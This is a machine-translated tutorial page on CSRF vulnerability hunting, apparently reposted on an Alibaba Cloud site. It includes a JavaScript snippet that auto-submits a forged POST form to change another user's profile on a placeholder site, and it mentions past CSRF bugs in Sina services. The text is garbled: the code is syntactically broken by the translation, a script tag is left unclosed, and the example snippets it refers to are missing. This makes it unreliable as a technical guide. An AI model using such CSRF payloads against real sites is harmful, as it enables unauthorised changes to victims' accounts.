CSRF vulnerability mining skills

Source: Internet
Author: User

CSRF (Cross-site request forgery, also known as "one click attack" or session riding.
Example:
For a personCSRF POSTAttackOne click attack
Assume that there are two users: User A and user B.
User A applies for ID 1 and user B applies for ID 2
User A modifies the profile URL assuming: http://www.xxx.com/userinfo.php? Id = 1
The POST parameter is name.
If user A knows that user B's user ID is 2 and user A cannot access user B by modifying the ID, it can launch A CSRF attack.
First, create a page. The page code is as follows:


<Script>
Form = document. createElement ('form ');
Form. setAttribute ("action", "http: // http://www.xxx.com/userinfo.php? Uid = 2 ");
Form. setAttribute ("method", "post ");
Form. setAttribute ("name", "myform ");
 
Input = document. createElement ('input ');
Input. setAttribute ("type", "text ");
Input. setAttribute ("name", "username ");
Input. setAttribute ("value", "Change User B ");
 
Document. body. appendChild (form );
Form. appendChild (input );
 
Document. myform. submit ();
 

 
Example B:For allCSRF POSTAttack, One click attack
Here, Sina Weibo follows the vulnerability and uses this principle (the code is from wooyun imlonghao)




<Script>
Document. imlonghao. submit ();
</Script>

 
The vulnerability can be triggered by clicking the link.
Next, let's talk aboutCSRF GETAttack
Also use examples (this example is from wooyun YKS)
Sina SAE common developer certification CSRF
1. add & makesure = 1 to the invitation link, and then reply to the Sina developer forum to insert the following code, when someone else opens a post with this code when logging on to SAES, the user will be automatically invited.
You can automatically invite a specified user to view the page.
Do you have a different understanding of CSRF?
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.